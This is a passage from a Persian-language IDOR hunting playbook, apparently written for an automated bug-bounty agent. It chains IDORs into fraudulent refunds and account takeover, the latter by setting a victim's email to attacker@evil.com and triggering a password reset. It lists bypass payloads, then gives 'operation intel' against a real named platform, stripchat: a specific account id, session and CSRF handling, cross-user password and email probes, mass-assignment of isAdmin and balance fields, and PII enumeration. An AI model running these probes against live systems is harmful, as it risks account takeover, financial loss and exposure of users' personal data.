  • ‏ب. ‏‏IDOR دوم: POST /api/orders/{order_id}/refund ریفاند صادر می‌کند بدون چک تعلق merchant/order به درخواست‌کننده.
  • ‏ج. ‏روی هر سفارش اخیر merchant قربانی ریفاند بزن. پول از merchant به مشتری می‌رود ‏(که آن هم کنترل‌شده‌ی مهاجم است).
  • ‏اثر: ضرر مالی مستقیم به merchant قربانی. در مقیاس روی پایه‌ی merchant پلتفرم قابل‌بهره‌برداری انبوه.
  • ‏شکل واقعی: چند زنجیره‌ی IDOR افشاشده‌ی پلتفرم e-commerce در ۲۰۱۹–۲۰۲۳. ارجاع متقابل: زنجیره‌ی hunt-business-logic ‏(اثر مالی از طریق تداخل state-machine).

‏### الگوی سطح-اپراتور

‏وقتی read-IDOR را در A تأیید کردی، فوراً بپرس: کدام تغییر-state همان ID را قبول می‌کند و ممکن است آن هم IDOR باشد؟ زنجیره معمولاً یکی از این‌هاست: ‏(۱) ریست پسورد / تغییر ایمیل در گام پایانی ← ATO؛ ‏(۲) ریفاند / برداشت / انتقال ← مالی؛ ‏(۳) تغییر نقش / افزودن عضویت ← ارتقای privilege. اگر read-IDOR تو به یکی از این‌ها ترکیب نشد، همان payout مربوط به تنها را می‌گیری. برای هر دو نیم شکار کن — نیم دوم اغلب راحت‌تر پیدا می‌شود چون همان کلاس باگ auth را با اولی شیر می‌کند.

‏ارجاع‌های متقابل:

  • ‏اسکیل hunt-ato — زنجیره‌های ۱، ۵
  • ‏اسکیل hunt-xss — زنجیره‌ی ۲
  • ‏اسکیل hunt-graphql — زنجیره‌های ۳، ۴
  • ‏اسکیل hunt-misc — زنجیره‌ی ۵
  • ‏اسکیل hunt-business-logic — زنجیره‌ی ۶
۱۰

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏اسکیل hunt-auth-bypass — شکست authorization در سطح آبجکت به‌علاوه‌ی غیاب auth در سطح route تقویت‌کننده‌ی کانونیک IDOR است. primitive زنجیره: نبود اسکوپ req.user.id در کوئری ORM + نبود middleware روی مسیر /v1/ قدیمی = خوانش داده‌ی بین-tenant ناشناس از طریق جایگزینی مستقیم ID ← دامپ انبوه PII بدون هیچ session.
  • ‏اسکیل hunt-ato — ‏IDOR ویرایش-پروفایل مستقیم‌ترین مسیر از «خواندن داده‌ی یکی» به «مالکیت اکانتش» است. primitive زنجیره: PATCH /api/users/{victim_uid} با session مهاجم + uid قربانی قبول می‌کند ← email=attacker@evil.com بگذار ← ریست پسورد را تریگر کن ← لینک ریست به مهاجم می‌رسد ← ATO کامل بدون دانستن credential قربانی.
  • ‏اسکیل hunt-graphql — resolverهای GraphQL بدون authorization فیلد-سطح به‌صورت پیش‌فرض IDOR هستند؛ introspection schema را به تو می‌دهد. primitive زنجیره: introspection مربوط به __schema ← enumerate مربوط به هر mutation با آرگومان id: ← جایگزینی ID قربانی در mutationهای updateUser، deleteOrg، transferBilling ← پخش انبوه IDOR از یک کوئری introspection.
  • ‏اسکیل security-arsenal — بخش جداول دورزدن IDOR را برای payloadهای آلودگی پارامتر HTTP ‏(?id=own&id=victim)، wrapperهای JSON تودرتو ‏({"data":{"id":"VICTIM"}}) و واریانس‌های نام پارامتر ‏(uid/userId/user_id/account) بردار وقتی اولین جایگزینی مستقیم ۴۰۳ برگرداند.
  • ‏اسکیل triage-validation — دروازه‌ی پیش-شدت را قبل از ادعای Critical روی IDORای بزن که ۲۰۰ برمی‌گرداند ولی واقعاً داده لو نمی‌دهد ‏(آرایه‌ی خالی، فیلدهای redact‌شده، «access denied» در body با status مربوط به ۲۰۰). IDOR مربوط به ۲۰۰-ولی-بدون-داده محرک شماره‌ی ۱ N/A روی H1/Bugcrowd است.
مراحل استخراج‌شده
  1. ۱‏اسکیل `hunt-auth-bypass` — شکست authorization در سطح آبجکت به‌علاوه‌ی غیاب auth در سطح route تقویت‌کننده‌ی کانونیک IDOR است. primitive زنجیره: نبود اسکوپ `req.user.id` در کوئری ORM + نبود middleware روی مسیر `/v1/` قدیمی = خوانش داده‌ی بین-tenant ناشناس از طریق جایگزینی مستقیم ID ← دامپ انبوه PII بدون هیچ session.
  2. ۲‏اسکیل `hunt-ato` — ‏IDOR ویرایش-پروفایل مستقیم‌ترین مسیر از «خواندن داده‌ی یکی» به «مالکیت اکانتش» است. primitive زنجیره: `PATCH /api/users/{victim_uid}` با session مهاجم + uid قربانی قبول می‌کند ← `email=attacker@evil.com` بگذار ← ریست پسورد را تریگر کن ← لینک ریست به مهاجم می‌رسد ← ATO کامل بدون دانستن credential قربانی.
  3. ۳‏اسکیل `hunt-graphql` — resolverهای GraphQL بدون authorization فیلد-سطح به‌صورت پیش‌فرض IDOR هستند؛ introspection schema را به تو می‌دهد. primitive زنجیره: introspection مربوط به `__schema` ← enumerate مربوط به هر mutation با آرگومان `id:` ← جایگزینی ID قربانی در mutationهای `updateUser`، `deleteOrg`، `transferBilling` ← پخش انبوه IDOR از یک کوئری introspection.
  4. ۴‏اسکیل `security-arsenal` — بخش جداول دورزدن IDOR را برای payloadهای آلودگی پارامتر HTTP ‏(`?id=own&id=victim`)، wrapperهای JSON تودرتو ‏(`{"data":{"id":"VICTIM"}}`) و واریانس‌های نام پارامتر ‏(`uid`/`userId`/`user_id`/`account`) بردار وقتی اولین جایگزینی مستقیم ۴۰۳ برگرداند.
  5. ۵‏اسکیل `triage-validation` — دروازه‌ی پیش-شدت را قبل از ادعای Critical روی IDORای بزن که ۲۰۰ برمی‌گرداند ولی واقعاً داده لو نمی‌دهد ‏(آرایه‌ی خالی، فیلدهای redact‌شده، «access denied» در body با status مربوط به ۲۰۰). IDOR مربوط به ۲۰۰-ولی-بدون-داده محرک شماره‌ی ۱ N/A روی H1/Bugcrowd است.
۱۱

اطلاعات عملیاتی

OPERATION INTEL — stripchat authenticated phase (2026-11-14, run-20261113T202659Z-3e92a7ae8d)
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

یافته‌ها و پروب‌های تأییدشده از engagementهای واقعی — session، endpointها و رفتارهای مشاهده‌شده

‏‏Session: session نام‌دار amir = کاربر amirdaly ‏(id برابر ۲۹۰۷۷۴۸۶۷، member ساده — نه مدل/استودیو/ادمین). auth واقعی کوکی httpOnly مربوط به stripchat_com_sessionId است ‏(+stripchat_com_sessionRemember=1)؛ Authorization: Bearer JWT به‌تنهایی روی اکثر مسیرها ۴۰۳/۴۰۱ می‌دهد. ‏CSRF: mutationها به یکی از دو نیاز دارند — هدر X-Session-CSRF + X-Session-Verify: 1 یا فیلدهای csrfToken+csrfTimestamp داخل body مربوط به JSON ‏(هر دو زنده دیده شده‌اند). توکن‌های CSRF کوتاه‌عمر/یک‌بارمصرف‌اند — قبل از هر probe مربوط به mutation از GET /api/front/v3/config/initial-dynamic دوباره بگیر.

‏مسیرهای گیت‌شده‌ی شناخته‌شده ‏(از probeهای قبلی — با session بازتأیید کن):

  • ‏GET /api/front/users/{id}/settings ← ۲۰۰ با پروفایل self ‏(کار می‌کند). ماتریسش کن: id±۱ ‏(290774866/68)، ۰، ۱، ‏-۱، غیرعددی، خیلی بزرگ و پارامترهای list-form. خود-در-برابر-خارجی را با target.diff مقایسه کن — تفاوت‌های redaction در سطح فیلد مدل authz را لو می‌دهد.
  • ‏POST /api/front/users/{id}/reports مقدار {reason, reasonText} را pre-auth پذیرفت ‏(۴۰۰ validation) — بین-کاربر احرازشده را دوباره تست کن: آیا می‌گذارد report را به‌عنوان/برای کاربران دیگر ثبت کنی، یا فیلدهای reportedUserId/userId در body را برای override هدف probe کن؟
  • ‏PUT /api/front/users/{id}/password ← ‏«User can't change password»؛ /email، /verify به فیلد نیاز دارند — نام فیلدهای لازم را از پیام‌های خطای ۴۰۰ نگاشت کن، بعد جایگزینی id بین-کاربر را تست کن.
  • ‏POST /api/front/models/{id}/studio-connection-request ← ‏«User is not a model» ‏(command-bus قابل‌دسترس است)؛ POST /api/front/studios/{id}/sub/approve ← ‏«User is not a studio». به‌هرحال idهای مدل/استودیو جایگزین کن — متن خطا per-role فرق می‌کند که خودش اوراکل است.
  • ‏lane مربوط به PII عمومی قبلاً needs_review است: /api/front/v2/users/{id}/profile ناشناس + batch — چک کن آیا واریانت‌های احرازشده فیلدهای بیشتری افشا می‌کنند ‏(هش ایمیل، تلفن، ip، فلگ‌های داخلی).

‏اهداف mass-assignment: ‏PUT/PATCH روی users/{id}/settings، profile، privacy — فیلدهای isModel، isStudio، isAdmin، role، status، balance، tokens، level، verified را تزریق کن و پاسخ/state را diff کن. فیلدهای اضافه روی DTOهای command-bus بی‌صدا دروپ شدند، ولی کنترلرهای form-validated ساده ممکن است فیلتر نکنند.

‏split-brain مربوط به session-در-برابر-JWT: endpointها را با ‏(الف) session کامل، ‏(ب) فقط-Authorization و ‏(ج) فقط-کوکی امتحان کن — نتایج متفاوت نشان می‌دهد کدام middleware واقعاً مالکیت را enforce می‌کند.

‏انضباط اوراکل: ۲۰۰ با داده‌ی خارجی = ثبتش کن. ۴۰۳/۴۰۴ یکنواخت = سخت‌شده. متن خطای متفاوت per-وجود-id = اوراکل enumeration ← به‌عنوان low/informational propose کن.

مراحل استخراج‌شده
  1. ۱‏`GET /api/front/users/{id}/settings` ← ۲۰۰ با پروفایل self ‏(کار می‌کند). ماتریسش کن: id±۱ ‏(290774866/68)، ۰، ۱، ‏-۱، غیرعددی، خیلی بزرگ و پارامترهای list-form. خود-در-برابر-خارجی را با `target.diff` مقایسه کن — تفاوت‌های redaction در سطح فیلد مدل authz را لو می‌دهد.
  2. ۲‏`POST /api/front/users/{id}/reports` مقدار `{reason, reasonText}` را pre-auth پذیرفت ‏(۴۰۰ validation) — بین-کاربر احرازشده را دوباره تست کن: آیا می‌گذارد report را به‌عنوان/برای کاربران دیگر ثبت کنی، یا فیلدهای `reportedUserId`/`userId` در body را برای override هدف probe کن؟
  3. ۳‏`PUT /api/front/users/{id}/password` ← ‏«User can't change password»؛ `/email`، `/verify` به فیلد نیاز دارند — نام فیلدهای لازم را از پیام‌های خطای ۴۰۰ نگاشت کن، بعد جایگزینی id بین-کاربر را تست کن.
  4. ۴‏`POST /api/front/models/{id}/studio-connection-request` ← ‏«User is not a model» ‏(command-bus قابل‌دسترس است)؛ `POST /api/front/studios/{id}/sub/approve` ← ‏«User is not a studio». به‌هرحال idهای مدل/استودیو جایگزین کن — متن خطا per-role فرق می‌کند که خودش اوراکل است.
  5. ۵‏lane مربوط به PII عمومی قبلاً needs_review است: `/api/front/v2/users/{id}/profile` ناشناس + batch — چک کن آیا واریانت‌های *احرازشده* فیلدهای بیشتری افشا می‌کنند ‏(هش ایمیل، تلفن، ip، فلگ‌های داخلی).